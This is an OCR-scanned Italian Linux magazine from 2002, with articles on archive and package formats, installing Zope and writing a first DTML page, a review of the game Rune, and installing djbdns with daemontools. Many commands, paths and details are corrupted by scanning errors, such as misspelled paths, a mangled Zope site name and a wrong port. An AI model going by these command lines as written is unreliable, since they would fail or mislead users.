Eliminazione 
Contenuto di un file archivio 


A quale pacchetto appartiene 
"myfile"? 


e lo esegue per la decodifica. Il coman- 
do cpio(1) ha scopi simili a quelli di tar, 
ma nonostante offra alcuni vantaggi non 
è quasi più usato. Il suo utilizzo più 
importante oggigiorno è probabilmente 
nell'ambito degli archivi rom. Il formato 
.Zip combina l'archiviazione con la com- 
pressione, nonché con la cifratura, ed è 
ampiamente utilizzato sui sistemi opera- 
tivi Microsoft. Non vi sono motivi parti- 
colari di generare file in questo formato, 
dal momento che anche i più popolari 
programmi Windows supportano i for- 
mati tare gz (Ma non ancora il più effi- 
ciente bz2), ma occasionalmente capita 
di doverli leggere o generare. | program- 
mi per la creazione e l'estrazione sono in 
questo caso separati, quale retaggio 
della problematica legata all'esportazio- 
ne di software crittografico dagli Stati 
Uniti d'America: fino alla fine dell'anno 
2000, il software cifrante poteva essere 
liberamente esportato, quello decifrante 
no. Con il venir meno di questa restrizio- 
ne, permane la separazione del software 
in due programmi, zip(1) e unzip(1). 


Il problema dell distribuzioni 


Un pacchetto software installato su un 
sistema operativo comprende program- 
mi eseguibili, librerie, documentazione, 
file di configurazione e altri dati; il tutto 
va installato in punti ben precisi del 
sistema, in modo da garantire il corretto 
funzionamento. Appare chiaro che un 
archivio compresso è il formato ideale di 
distribuzione; e in effetti tutte le distribu- 
zioni utilizzano questa metodologia. La 
Slackware utilizza semplicemente il for- 


rpm -e pacchetto 


Contenuto di un pacchetto D ap 
rpm -qf myfile 


dpkg -S myfile 


mato .tgz (abbreviazione per .tar.gz 
accettabile anche in MS-DOS); Red Hat, 
SUSE e Mandrake utilizzano il formato 
.rpm, introdotto dalla Red Hat; mentre il 
formato .deb è stato specificamente 
creato per la Debian e distribuzioni deri- 
vate. Oltre ai file veri e propri, un pac- 
chetto contiene anche dati di controllo: 
la descrizione del pacchetto, i pacchetti 
da cui dipende, le funzioni che fornisce, 
e gli script da eseguire durante l'installa- 
zione o la rimozione. Nel formato tgz di 
Slackware, tutti questi dati sono sempli- 
cemente parte dell'archivio. Il formato 
rpm invece concatena queste sezioni 
informative con l'archivio cpio compres- 
so con gzip, che contiene i file veri e 
propri: per accedere ai dati occorre utiliz- 
zare la libreria o i comandi rpm, oppure 
scrivere un programma dedicato. Invece 
il formato deb utilizza ar(1) per concate- 
nare le diverse sezioni, per cui è possibi- 
le visualizzare il contenuto tramite 
comandi standard: 


$ ar t emacs20_20.7-10.1.deb 
debian-binary 

control.tar.gz 

data.tar.gz 

$ ar p emacs20_20.7-10.1.deb con- 
trol.tar.gz | tar tzf - 

È; 

./preinst 

./postinst 

./prerm 

./postrm 

./control 


La conoscenza dei formati interni dei 
vari pacchetti è una semplice curiosità, 
anche se può occasionalmente rivelarsi 


utile. La maniera più corretta di operare 
su questi file è tramite gli appositi pro- 
grammi; i tipici utilizzi sono illustrati in 
Tabella. Va anche sottolineato che la 
gestione dei pacchetti a questo livello è 
solo un "livello intermedio", e che in 
generale è più semplice utilizzare uno 
strumento più generale (come dselect(8) 
in Debian o romdrake in Mandrake). 


Conclusioni 


A differenza del Mondo Windows, nei 
sistemi Gnu/Linux i programmi di archi- 
viazione e di compressione sono ben 
distinti. Un'altra differenza fondamentale 
è che le interfacce grafiche per gestire 
questi file sono, come al solito, "solo" 
interfacce grafiche, e la vera potenza 
risiede negli strumenti a linea di coman- 
do. Chiunque voglia fare un utilizzo più 
che casuale del proprio sistema deve 
prima o poi imparare a utilizzare questi 
strumenti, e non tarderà a scoprine la 
maggiore potenza rispetto alle interfacce 
WIMP (Windows, Icons, Menus and 
Pointing). 

Francesco Marchetti-Stasi 


Godificare in ASCII un file binari 


Della distinzione tra file di testo e bi- 
nari, che diventa sempre meno fonda- 
mentale, abbiamo già parlato nei nu- 
meri scorsi. In pratica, un file di testo 
contiene solo caratteri stampabili, con 
codifica compresa tra 32 e 126 (deci- 
male); un file binario può invece inclu- 
dere un qualunque byte, con codifica 
compresa tra 0 1 255. La posta elettro- 
nica essendo diventato il principale 
strumento di comunicazione in Inter- 
net ben prima dell'invenzione del 
Web, e consentendo solo caratteri 
stampabili, si è inventato un metodo 
per codificare file binari in questo for- 
mato tramite i comandi uuencode(1) 
e uudecode(1);il primo codifica un file 
binario in caratteri stampabili, il seco- 
ndo effettua l'operazione inversa. Un 
file uvencodato può essere inviato 
senza problemi per posta elettronica; 
il ricevente applicherà il comando 
uudecode per ricostruire il file origi- 
nale. 


Do 
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LOPE 


Un introduzione. . . 


Definire precisamente cosa è ZOPE non è semplice. Potremmo iniziare dicendo 
che è un tool complesso per creare e gestire applicazioni web e portali, ma come 
vedremo è molto di più...... 
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uando diciamo 
complesso 
non stiamo 
esagerando se 
consideriamo che 
all'interno è incluso un 
server web, 
un'amministrazione 
remota che ci permette 
la massima autonomia 
per gestire i contenuti 
statici e dinamici dei 
nostri siti e un data 
base. 
Non a caso i sorgenti 
compressi occupano più 
di 5 MB! Questo 
pacchetto software è 
disponibile sia in forma 
binaria pronta da 
installare ed eseguire 
che in forma sorgente. 
Le piattaforme 
supportate sono diverse, 
fra cui non mancano i 
sistemi Microsoft Win 
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Home page di Zope: www.zope.org. 


98/NT/2000. 

Un'altra particolarità di 
questo pacchetto è che 
si può integrare 
perfettamente con un 
altro server web 
preesistente come 


Apache o IIS ,basta che 
supporti lo standard 
GGI, 

Allo stesso modo è stata 
prevista la compatibilità 
con i più comuni e 
potenti DBMS esistenti. 


At Work ... 


Senza perderci in 
lunghe presentazioni 
iniziamo subito con 
l'installazione. 

Innanzi tutto dobbiamo 
scaricare il codice 
sorgente. Per fare 
questo colleghiamoci a 
www.z0pe.org, e lì 
seguiamo il link che ci 
permette di scaricare 
l'ultima versione del 
sorgente, infatti è anche 
possibile scaricare la 
versione RPM. AI 
momento la versione 
più recente è la 2.5.0. 
Scaricato il tarball 
posizioniamolo in una 
directory sul nostro 
server, per esempio in 
/home. 


decompattazione del 
pacchetto. Dobbiamo 
ora scegliere quale 
utente sarà il 
proprietario del 
processo Zope in 
esecuzione. 
Presumibilmente 
staremo accedendo alla 
nostra postazione con 
l'account ROOT, e se 
lanciamo l'installazione 
con questa identità essa 
sarà presa come default 
per l'esecuzione di 
ZOPE. 

Lo script che bisogna 
lanciare è: 


# ./install 


Se invece vogliamo, ad 
esempio che sia nobody 
l'utente proprietario del 
processo ZOPE, basterà 
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Zope manager. 


A questo punto basta 
solo lanciare il 
comando: 


# tar xvzf Zope-2.5.0-1 
inux2-x86.t68z 


Spostiamoci adesso 
nella directory che si è 
creata dopo la 


eseguire lo script con 
l'opzione —u (e —-g per 
identificare anche 
l'eventuale gruppo). 


# ./install -u nobody — 
E nobody 


A questo punto basterà 
aspettare qualche 


minuto e l'installazione 
sarà ultimata. Dobbiamo 
fare attenzione, perché 
nella schermata che ci 
tiene aggiornati sullo 
stato dell’installazione, 
ad un certo punto 
compariranno username 
e password che ci 
permetteranno di 
entrare nell'interfaccia 
di amministrazione di 
ZOPE. 

Se per caso volessimo 
cambiare tali parametri 
o li avessimo 
dimenticati basterà solo 
eseguire uno specifico 
script per reimpostarli. 
Tale script è 


zpasswd.py . 


Per lanciare il server 
basterà semplicemente 
scrivere: 


# ./start &e 


Dualmente per 
arrestarlo: 


# ./stop 


Di default ZOPE è in 
ascolto sulla porta 8080 
dove è in esecuzione, 
quindi basterà per noi 
puntare il nostro 
browser all'indirizzo del 
server specificando tale 
porta. 

L'indirizzo avrà una 
forma del genere: 


http:/\www.mioserver.it:8080 


Se invece specifichiamo 
come directory 
/manage/ allora 
accederemo 
all'interfaccia di 
gestione. 

A questo punto ci 


serviranno user e pass 
che prima abbiamo 
annotato. 


L'interfaccia di 
amministrazione 


Abbiamo poc'anzi 
spiegato che ZOPE si 
gestisce direttamente 
via web. Proprio per 
questo dobbiamo 
iniziare con il capire 
come funziona la sua 
interfaccia di gestione. 
Se ci colleghiamo nella 
diectory /manage/ e 
immettiamo i parametri 
di login ci si presenterà 
una schermata divisa in 
tre aree. 

A sinistra c'è una 
interfaccia di 
navigazione simile al file 
manager di Windows 
che ci permette di 
tenere sotto controllo 
tutto quello che è 
presente nel nostro 
progetto. Questo è il 
‘TOP’ che coincide con 
la ‘Root Folder”. 

Questa interfaccia si 
chiama NAVIGATOR. 
Alcune cartelle hanno 
diverse sottocartelle e 
per vederle in dettaglio 
basterà solo cliccare sul 
simbolo ‘+’ che compare 
a sinistra del nome. Se 
invece clicchiamo su 
una cartella si aprirà nel 
frame centrale una 
finestra che ci mostra il 
suo contenuto. il frame 
si chiama WORKSPACE. 
In alto a destra è 
presente un link che ci 
aiuta nell'utilizzo della 
maschera corrente. 

Una volta caricato l’help 


0000 
eo000 


002 °°35 


LONSUME 


contestuale, è comunque 
possibile cliccare su 
search per ricercare una 
qualsiasi parola chiave 
per avere dei chiarimenti. 


Object e Folder 


La maggior parte del 
tempo necessario per 
sviluppare 
un'applicazione con 
ZOPE è quella impiegata 
per progettare e definire 
gli oggetti. 

Nella filosofia di ZOPE gli 
oggetti sono dei 
componenti che si 
occupano di gestire una 
parte dell’applicazione 
web che stiamo 
implementando. 

Tali oggetti si possono 
catalogare in tre tipologie 
base, anche se in effetti 
esistono diversi oggetti 
che non rispecchiano tale 
classificazione. 


* Gli oggetti CONTENT 
sono dei contenitori di 
informazioni come 
testi, immagini e dati 
binari. ZOPE può 
lavorare anche con 
sorgenti di dati esterni 
e pertanto in questi 
oggetti rientrano 
anche informazioni 
all'interno di basi di 
dati remote. 


e Gli oggetti LOGIC 
sono dei meccanismi 
che permettono di 
scrivere funzioni in 
linguaggi come Perl, 
Python ed SOL 


e In ultimo gli oggetti di 
tipo PRESENTATION 


servono per cambiare 
lo stile delle nostre 
applicazioni. La suite 
ZOPE include 
all'interno un 
linguaggio di 
scripting, il DTML 
(Document Template 
Markup Language). 


Diversi oggetti sono 
messi a disposizione da 
terze parti che 
consentono di espandere 
le potenzialità di questo 
strumento. 

I FOLDER hanno come 
scopo di raggruppare più 
oggetti dello stesso tipo 
o con lo stesso scopo da 
altri. 

Un FOLDER può 
contenere diversi tipi di 
oggetti e a sua volta può 
contenere anche altri 
FOLDER. 

Progettare una struttura 
efficiente e solida è la 
prima cosa da fare per 
avere un'applicazione 
corretta con ZOPE. 
Anche se l'interfaccia che 
stiamo usando è via web 
non mancano le 
operazioni di copia e 
incolla che usiamo 
solitamente nei nostri 
editor. Infatti possiamo 
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Zope prova folder. 


liberamente selezionare 
un oggetto o una cartella 
e scegliere di copiarli o 
incollarli, il tutto 
semplicemente con un 
paio di click. 


La nostra . 
prima pagina 


Per creare la nostra 
prima pagina useremo 
un documento DTML. 
Questi documenti sono 
anche usati per creare 
intestazioni e piè di 


La pagina che consente di aggiungere una cartella. 


pagina da condividere in 
tutte le pagine dei nostri 
siti. 

Per prima cosa creiamo 
un FOLDER all'interno 
della cartella ROOT. 
Clicchiamo all’interno del 
NAVIGATOR su ‘Root 
Folder’, caricato poi il 
contenuto nel 
WORKSPACE scegliamo 
Folder dal menù a 
tendina in alto. 

Così facendo ci verrà 
presentata una 
schermata dove dovremo 
scegliere il nome (/D) del 
folder e la sua 
descrizione. 

Scegliamo ‘prova’ come 
ID e ‘Pagina di prova’ 
come titolo. Clicchiamo 
su Add e otterremo una 
schermata simile a quella 
in figura dove compare 
anche il FOLDER ‘prova’. 
A questo punto 
clicchiamo su prova e 
dopo che si è caricata la 
pagina scegliamo ‘DTML 
Document’ dal menù in 
alto. 

All'interno del campo /D 
digitiamo ‘pagina1’, e 
dentro T/TLE scriviamo 


Add DTML Document 
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Questa è la mia prima pagina creata con ZOPE 


Definizione del documento DTML. 
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La “prima pagina di prova”. 


‘Prima pagina di prova‘. 
Possiamo ora cliccare su 
Add. 

Aspettiamo che si 
aggiorni il WORKSPACE 
e clicchiamo ora sulla 
pagina che abbiamo 
appena creato. 
Comparirà quindi una 
schermata con all'interno 
una TextBox che contiene 
il codice: 


<dtml-var standard_ 
html_header> 
<h2><dtml-var title_or_id> 
</h2> 


<p> 
This is the <dtml-var id> 
Document. 
</p> 
<dtml-var standard_html_ 
footer> 


Se puntiamo or ail nostro 
browser all'indirizzo 
http://www. mioserver.it:8 
080/prova/pagina1 
otteniamo come risultato 
una prima pagina creata 
con ZOPE. 

In effetti se analizziamo il 
codice scritto sopra ci 
accorgiamo che viene 


Figura 7 


La nostra prima pagina. 


riportato un header 
standard nel documento, 
così come è importato 
anche il piè di pagina. 
Cancelliamo tutto il 
codice presente ed 
inseriamo quanto segue: 


<htmb 
<head> 
<title>La mia prima 
pagina 
</title> 


</head> 
<body> 
<br><br> 
<h1>Questa è la 
mia prima pagina 
creata con 
ZOPE 
</h1> 
</body> 
</html> 


Possiamo ora cliccare su 
‘Save Changes' per 
confermare le modifiche 
che abbiamo apportato. 
Ricarichiamo ora la 
pagina all'indirizzo 
http://\www.mioserver.it:8 
080/prova/pagina1 e 
vedremo la pagina come 
in Figura 7. 


Conclusioni 


Abbiamo, con una serie 
semplicissima di 
operazioni, creato la 
nostra prima pagina web 
direttamente on line 
interfacciandoci con il 
nostro server attraverso 
un browser. 
Abbiamo anche saltato la 
parte dell’upload dei file, 
magari in FTP, e abbiamo 
visto come sia semplice 
in DTML inglobare 
all’interno dei nostri 
documenti altri file e 
blocchi di testo. 
Le potenzialità di ZOPE 
sono chiare, 
specialmente se 
consideriamo che include 
anche la gestione dei 
database. 
Vedremo nelle prossime 
puntate come si 
progettano e realizzano 
siti più complessi ed 
interattivi attraverso 
l'utilizzo degli oggetti 
base che l'ambiente 
mette a disposizione. 
Alla prossima! 

Carlo Stumpo 


Nome: Rune 
Software House (Linux): 


Loki 


Software House (Altri sist.): 


Human Head Studios 


Genere: Azione in terza 
persona 


Linux Kemel: 2.2x e 
glibc-2.1 


Processore: 300mHz 
Pentium II, consigliato 
500MHz Pentium Il o sup 


Scheda Video: 8 MB min 
CD- ROM: sx co- ROM 


RAM: 64 MB RAM min 
consigliati128 MB RAM 


Scheda Audio: 16 bit min. 
richiesto; OSS compatibile 


Hard! Disk: 700 MB 


disponibili sul disco fisso 
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Per chi ama la mitologia scandinava ecco arrivare l'avvincente 
epopea dei vichinghi, questa volta, direttamente sul vostro Pc . 
Preparatevi ad intraprendere un avventuroso cammino fra 
paesaggi spettacolari in un mondo infestato da temibili creature. 
Sotto la guida di Odino sarete catapultati in un magico 
videogame d'avventura di ultima generazione. 


inalmente, gli 
amanti delle saghe 
nordiche e fantasy 
potranno 
ammirare anche su Linux 
uno dei titoli di punta 
della Human Head 
Studios: il tanto atteso 
Rune. In seguito agli 
sforzi tecnici della Loki, 
(nota softwarehouse che 
ha curato la trasposizione 
anche di questo gioco) 
ecco arrivare uno dei 
migliori videogames 


d'azione per Pc della 
passata stagione, adesso 
pure per gli utenti del 
pinguino. Azione ed 
adrenalina insieme alla 
massima cura nel 
dettaglio delle texture, 
sembrano essere le 
caratteristiche principali 
del titolo in questione. 
Un altro punto di forza è 
sicuramente 
rappresentato dalla 
prospettiva in terza 
persona, ossia la 


possibilità di poter 
gestire e muovere il 
personaggio 3D, 
protagonista della nostra 
avventura. Ma per non 
tralasciare nulla, 
cominciamo per ordine 
dalla trama. 


...& SI parte 


Vestiremo i panni del 


Figura 1 


Assalto a notte fonda... 


vichingo Ragnar, unico 
protagonista del gioco e 
servitore del dio Odino. Il 
perfido Conrack, 
avversario di Ragnar, 
dopo aver ucciso i suoi 
compagni, si appresta a 
riportare il male sulla 
terra con il suo esercito 
di mercenari, tramite la 
distruzione di tutte le 
Pietre Runiche (da cui 
prende il nome il gioco). 


Figura 2 


La fierezza del vichingo! 


Scopo del nostro 
vichingo sarà quello di 
sconfiggere Conrack e i 
suoi scagnozzi, 
vendicandosi e tentando 
di recuperare tutte le 
pietre runiche 
disseminate lungo il suo 
cammino. Da questi 
sentimenti di riscatto 
prende origine tutta la 
vicenda. Come nella 
migliore tradizione degli 


ultimi adventure, la 
grafica fa da padrona. 
Basta solo ricordare (per 
la cronaca) che in questo 
gioco e stato 
implementato lo stesso 
motore grafico del 
videogames 
pluridecorato: Unreal 
Tournament. Già un titolo 
che è stato concepito e 
sviluppato con queste 
caratteristiche, offre delle 
ottime garanzie a livello 
di giocabilità, risultando 
soprattutto un vero 
spettacolo per gli occhi. 


Figura 3° 


Duelli senza tregua... 


Ci accorgiamo subito, 
che la visuale risulta 
davvero notevole. Grazie 
alla sopraccitata 
prospettiva in terza 
persona, potremo far 
muovere in lungo ed in 
largo il nostro 
personaggio avendo la 
sensazione di essere 
davvero immersi negli 
ampi ambienti che 
esploreremo. Come nel 
gioco Tomb Raider o in 
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Drakan avremo sempre 
una nitida visione alle 
spalle del nostro eroe, 
che potremo facilmente 
gestire mediante la 
rotella del mouse (0 
mouse stesso in 
mancanza). Grazie a 
questo semplicissimo 
movimento (sorta di 
zoom) potremo dirigere 
la telecamera virtuale che 
ci permetterà di 
esplorare i vari ambienti 
in ogni direzione, senza 
mai perdere il nostro 
punto di vista. Nei panni 


di Ragnar ci 
addentreremo in un 
fantastico universo 
completamente 
tridimensionale. Avremo 
(come un led) a fianco 
del video, la barra della 
nostra energia che 
dovremo spesso 
rimpinguare tramite le 
pietre runiche che 
troveremo sul percorso. 
Lo sforzo dei 
programmatori della 
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Human Head Studios è 
stato davvero immane se 
si pensa all'elevato 
numero di poligoni usati 
per realizzare ogni scena 
e per gli stessi 
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interessante. Imparerete 
cosa significa affrontare 
mastodontiche creature 
in antri quasi 
completamente scuri e 
lugubri! 


Scontro con feroci creature 


personaggi del gioco. 
Infatti nulla è stato 
lasciato al caso ed ogni 
particolare è stato curato 
con il massimo dettaglio 
grafico. Sono previsti 
oltre 40 livelli prima di 
poter portare a termine 
la nostra missione. 
Lungo il percorso ci 
imbatteremo in villaggi 
vichinghi, esploreremo 
caverne, città 
sapientemente 
renderizzate e di buona 
fattura. 

Un'altra nota di merito ai 
tecnici va attribuita 
senz'altro, per l'ottima 
resa degli ambienti 
atmosferici e degli effetti 
di luce (in questo gioco 
parliamo più di 
penombra) che 
renderanno Rune ricco di 
pathos e maggiormente 


Epici duelli 


Essendo Rune un gioco 
d' azione, la fase del 
combattimento e della 
lotta corpo a corpo resta 
l'aspetto centrale. Non 
mancheranno certo 
scontri all'ultimo sangue 
con diverse creature e 
bestie di varie fattezze, 
realizzate niente male, 


come nani e boss giganti. 


Ma non abbiate timore, il 
nostro Ragnar non 
rimarrà indifeso perché 
potrà disporre di diverse 
armi. L'arsenale di cui 
sarà munito, permette 
un'ampia scelta. Fra 
queste possiamo 
annoverare: le comuni 
spade e scuri 
affilatissime, tipiche della 
tradizione nordica, ma 


non mancheranno anche 
le mazze ferrate per 
assestare dei bei colpi. 
All’inizio del gioco, 
partirete muniti solo 
dello scudo e dopo una 
breve prova tutorial, 
sarete pronti. Nel 
proseguo del titolo 
comincerete a trovare le 
armi. Per quel che 
riguarda il sistema di 
combattimento, nessun 
timore, questi risulterà 
intuitivo da attuarsi, 
sembrando delle volte 
persino troppo facile e 
scontato.Mentre con il 
tasto destro del mouse 
riuscirete ad usare lo 
scudo per parare i colpi 
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La meta è sempre più vicina? 


(senza offendere il 
nemico), grazie al tasto 
sinistro, cliccandoci, 
potrete sferrare i vostri 
fendenti contro |’ 
avversario di turno. E' 
importante sapere che, 
dopo un certo numero di 
pietre runiche raccolte, 
oltre all'energia, Ragnar 
potrà compiere 


particolari attacchi simili 
a dei veri e propri 
incantesimi. Gli effetti sui 
nemici saranno 
devastanti. 


Installazione 


Per poter godere di 
questi mitici duelli e 
degli scontri sanguinosi 
di Rune si deve scaricare 
il demo del gioco dal sito 
della Loki 
(www.lokigames.com), a 
meno che non lo si 
compri direttamente 
sempre dallo stesso sito. 


Sotto il link Products 
della home page si trova 
la sezione Game Demos 
e qui si accede al 
download del 
“demo_launcher”, un 
applicativo scritto dalla 
stessa Loki per scaricare 
automaticamente le 
demo e le ultime patch di 
tutti i giochi prodotti 


dalla nota 
softwarehouse. 

Una volta scaricato il 
launcher (la versione per 
Intel x86) basterà digitare 
il comando: 


sh loki demos-full-1. 
0e-x86.run 


Il programma si installerà 
nella dir /usr/local/Loki_ 
Update, ma attenzione a 
quale utente si utilizza 
per effettuare 
l'installazione, poichè 
successivamente andrà 
usato sempre lo stesso 
per scaricare o far partire 
i demo. Ora basterà 
collegarsi di nuovo ad 
Internet e lanciare il 
comando: 


loki_update 
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Combatti per la sopravvivenza! 


L'interfaccia grafica è 
molto semplice ed 
intuitiva e alla voce Loki 
Demo Pack si potrà 
scegliere il gioco da 
scaricare in versione 


ridotta: la demo di Rune 
ha una dimensione di 
circa 90 MB. Una volta 
ottenuto il corposo file, si 
digita il comando: 


sh rune-demo.run 


per scompattare tutto il 
pacchetto e, finalmente, 
si può avviare il gioco 
con: 


rune_demo 


La prima volta che si 
avvia Rune sarà creata 
una directory 
denominata -/.loki/rune_ 
demo. Si possono 
inserire anche dei 
parametri al comando 
rune_demo, come ad 
esempio : -h per l'help, -f 
per il fullscreen e -s per 


eliminare il sonoro. A 
questo punto si potrà 
tranquillamente godere 
della stupenda grafica di 
Rune anche con il 
supporto degli eventuali 


acceleratori 3D delle 
nuove schede grafiche 
sfruttati dalle librerie 
OpenGL di Linux. 


Conclusioni 


Dopo aver decantato i 
lati positivi del gioco, 
qualche mancanza e 
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Anche i villaggi sono ostili 


piccolo difetto siamo 
riusciti a trovarlo. Spesso 
la troppa facilità di alcuni 
combattimenti ha messo 
in evidenza una non 
eccellente intelligenza 
artificiale di qualche 
creatura in Rune. Inoltre, 
altra pecca è 
rappresentata dalla 
mancanza di enigmi e 
trabocchetti validi che 
forse ci aspettavamo in 
questo ambito. In realtà, 
se avessimo avuto 
maggiori difficoltà in 
alcuni livelli, (oltre che 
scovare solo qualche 
leva nascosta o trovare la 


runa di turno ) 
sinceramente ci 
saremmo divertiti di più 
ed il gioco ne avrebbe 
acquistato in 
imprevedibilità e 
suspance. 

Tutto sommato però, 
considerando anche il 
discreto comparto 
sonoro e la buona 
longevità (assicurata 
dall’elevato numero di 


livelli) e fluide 
animazioni, il titolo nel 
complesso ci soddisfa. 
In definitiva, 
consideriamo Rune un 
videogames certamente 
valido, anche tenendo 
conto di quei difetti 
strutturali che colpiscono 
spesso i titoli adventure 
come questo. 
Lo consigliamo, pertanto, 
ai veri appassionati del 
genere, ricordando, però, 
di usare una buona 
scheda video per godere 
a pieno della stupenda 
grafica che ci riserva. 
Valerio Pasquieri 
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Il peso leggero del server 


Impariamo ad utilizzare il DNS server creato dall'autore di Omail, scoprendo 
insieme i suoi vantaggi e la sua semplicità di installazione e manutenzione. 


Izi la mano chi 
non si è mai 
trovato a dover 


configurare e 
chrootare BIND o che, 


navigando su Internet, 
non abbia mai trovato in 
giro una quantità 
notevole di informazioni 
su come chrootarlo ed 
installarlo a dovere. Alzi 
ancora la mano chi, uno 
volta installatolo, 
dovesse ricominciare 
spesso e volentieri da 
capo dopo aver scoperto 
che la versione da lui 
installata possedeva dei 
buchi di sicurezza. 

Per nostra fortuna BIND 
non è l'unico DNS server 
presente sulla scena 
dell'Open Source ma, tra 
le varie possibilità, 
abbiamo un pacchetto di 
DNS tools, preparato da 
D. J. Bernstein - 
ricordiamo autore anche 
di Omail —- progettato e 
programmato secondo il 
suo classico stile: 


funzionalità e sicurezza. 
Tra gli altri vantaggi del 
DJIBDNS rispetto al BIND 
è inoltre possibile osser- 
vare una maggiore capa- 
cità di gestione dei grossi 
carichi di richieste e delle 
richieste notevolmente 
minori a livello hardware 
a parità di impostazioni. 
Ed infine, come potrete 
vedere, una semplicità di 
installazione e 
configurazione che 
rendono, se non c'è una 
reale necessità di 
funzionalità avanzate 
presenti in BIND, la scelta 
di DJBDNS quasi 
obbligata. In questa 
prima parte 
cominceremo quindi con 
il vedere l'installazione, 
l'avvio dei vari 
sottoservizi e una 
configurazione di base 
per una rete interna, 
mostrando passo passo 
le operazioni necessarie 
perché tutto vada a buon 
fine. 


Installazione 


‘ del pacchetto 


L'installazione di djbdns 
richiede come 
componente necessario 
l'installazione dei 
daemontools dello 
stesso autore, mentre 
opzionalmente, nel caso 
sia abbia la necessità di 
utilizzare axfrdns o axfr- 
get sarà necessario 
installare anche il 
pacchetto ucspi-tcp. Per 
esperienza personale, 
agli utenti Debian e Red 
Hat che hanno 
fortemente 
personalizzato le loro 
macchine (ma questo 
vale per tutti) consiglio 
di partire dai sorgenti 
disponibili sul sito 
http://cr.yp.to e di non 
utilizzare i pacchetti 
sorgenti (o binari ove 
fossero presenti) 
disponibili con la loro 
distribuzione. Una volta 


completata l'installazione 
dei pacchetti, di cui viene 
fornità nel riquadro una 
panoramica rapida 
dell'installazione sarà 
possibile procedere 
all'installazione verà e 
propria. Avrete 
ovviamente scaricato il 
pacchetto contenente i 
sorgenti del djbdns 
(l'ultima versione 
disponibile al momento 
risulta essere la 1.05 che ‘ 
può essere reperità 
all'url http://cr.yp.to/ 
djbdns/djbdns-1.05.tar 
gz). Una volta ottenuti i 
sorgenti basta eseguire i 
seguenti comandi per 
copiare il file in /usr/src e 
decomprimerlo: 


cp djbdns.1.05.tar.gz 
lusr/srce 

cd /usr/sre 

tar xvzf djbdns- 

1.05.tar.gz 

cd djbdns-1.05 


quindi compiliamo con 


Installazione rapida daemontools 


mkdir -p /package 
chmod 1755 /package 
cd /package 


wget http://cr.yp.to/daemontools/daemontools-0.76.tar.gz 
tar —xvzf daemontools-0.76.tar.gz 


rm daemontools-0.76.tar 


cd admin/daemontools-0.76 


package/install 


Installazione rapida ucspi-tcp 


cd /usr/srce 


wget http://cr.yp.to/ucspi-tcp/ucspi-tcp-0.88.tar.gz 


tar —xvzf ucspi-tcp-0.88.tar.gz 


cd ucspi-tcp-0.88 
make 
make setup check 


un semplice: 
make 


ed infine verifichiamo ed 
installiamo eseguendo: 


make setup check 


A questo punto tutto il 
necessario per il funziona- 
mento sarà installato nel 
vostro sistema. 


Attivazione 
del servizi 


Terminata senza problemi 
la fase di installazione sarà 
possibile passare alla 
configurazione dei 
sottosistemi che 
compongono il djbdns, 
così come precedentemen- 
te descritto. Giunti a que- 
sto punto dovrete scegliere 
se la vostra macchina sarà 
un server DNS oppure una 
cache DNS. In ogni caso 
risulterà sempre utile 
installare una cache locale. 
Procediamo perciò con la 


configurazione di questa. 


Cache locale 


Per attivare la cache locale 
dovrete anzitutto creare 
due account: 


*  dnslogchesarà 
l'account con il quale 
verranno gestiti i log di 
tutte le applicazioni 
appartenenti al 
pacchetto djbdns. 


e dnscache account con il 
quale invece sarà 
avviato, in un ambiente 
chrootato, la cache 
DNS locale e, nel caso 
sia attivata, anche la 
cache esterna, se si 
vuole seguire la 
configurazione di 
default. 


| due account possono 
essere creati tramite: 


useradd dnslog 
useradd dnscache 


Una volta creati i due 


S o f 


account sarà necessario 
provvedere a creare 
l'ambiente chrootato; in 
realtà l'unica nostra 
preoccupazione sarà quella 
di creare la directory da 
utilizzare come base, nel 
nostro caso quella di 
default, ovvero 
/etc/dnscache eseguendo 
l'installazione con: 


anscache-conf anscache 
anslog /etc/dnscache 


Infine, per avviare il 
servizio, basta dire a 
svscan (avete installato i 
daemontools, vero? Se 
non l'avete ancora fatto 
installateli e, solo dopo 
aver completato l’instal- 
lazione, continuate): 


In -s /ete/dnscache /service 


Entro cinque secondi (il 
tempo che svscan lo lanci) 
il servizio di caching locale 
sarà attivo sulla vostra 
macchina. 

Per utilizzarlo aggiungete 
in cima al vostro file 
/etc/resolv.conf 


nameserver 127.0.0.1 


Cache esterna 


Per attivare la cache 
esterna dovrete anzitutto 
creare due account i quali, 
se avete già installato la 
cache interna, saranno già 
presenti: 


e dnslog 
»  dnscache 
Se non fossero già 


presenti questi possono 
essere creati come indicato 


precedentemente. 

Anche qui è necessario 
creare l’ambiente 
chrootato; l'installazione di 
default lo prevede nella 
directory /etc/dnscachex 
quindi potete eseguire 
l'installazione, supponendo 
che l'ip assegnato alla 
vostra macchina sia il 
192.168.0.1 


dnscache-conf dnscache 
anslog /etc/dnscachex 
192.168.0.1 


Infine avviare il servizio 
tramite: 


In -s /etce/dnscachex 
/service 


Entro cinque secondi (il 
tempo che svscan lo lanci) 
il servizio di caching 
esterna sarà attivo sulla 
vostra macchina. La 
configurazione di default 
prevede che la cache non 
fornisca alcuna risposta 
alle richieste; sarà 
possibile abilitare reti o 
singoli host usando i 
seguenti comandi: 


touch /etc/aAnscachex/ 
root/ip/A 

touch /etc/anscachex/ 
root/ip/A.B 

touch /etc/anscachex/ 
root/ip/A.B.C 

touch /etc/Adnscachex/ 
root/ip/A.B.C.D 


| primi tre attivano una 
intera sottorete (ad 
esempio sostituendo ad 
A.B.C 192.168.0 la cache 
accetterà le richieste da 
qualsiasi client nella rete 
192.168.0.0) mentre il 
quarto abilita singoli client 
ad avere risposte alle 
richieste (basta sostituire 
ad A.B.C.D l'indirizzo IP del 


0009 
0000 


2345 


S 
CONSUMER 


client). 

Per abilitare nei vari client 
l'utilizzo della cache 
aggiungete in cima al file 
/etc/resolv.conf dei singoli 
client la riga: 


nameserver 192.168.0.1 


dove 792.168.0.1 è l'ip 
della macchina che ospita 
la cache DNS. 


DNS Server 


La procedura di installazio- 
ne non discosta molto dai 
precedenti; riassumendo si 


tratta di creare due account: 


* tinydns(da creare 
tramite: useradd 
tinydns) 


*. dnslog(da creare 
tramite: useradd 
dnslog) 


Creare la directory dove 
verra eseguito il chroot del 
servizio (default /etc 
/tinydns) e predisporre 


linuwetux- 192.169,02 


na.tux- 192.169,01 
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Skema di una nostra rete. 


Marzo 2002 


l'ambiente chrootato: 


tinydns-conf tinydns dn- 
slog /etc/tinydns 
192.168.0.1 


Avviare il servizio: 
In -s /ete/tinydns /service 


Osserviamo che il tinydns 
resta in ascolto sulla porta 
23 ed accetta esclusiva- 
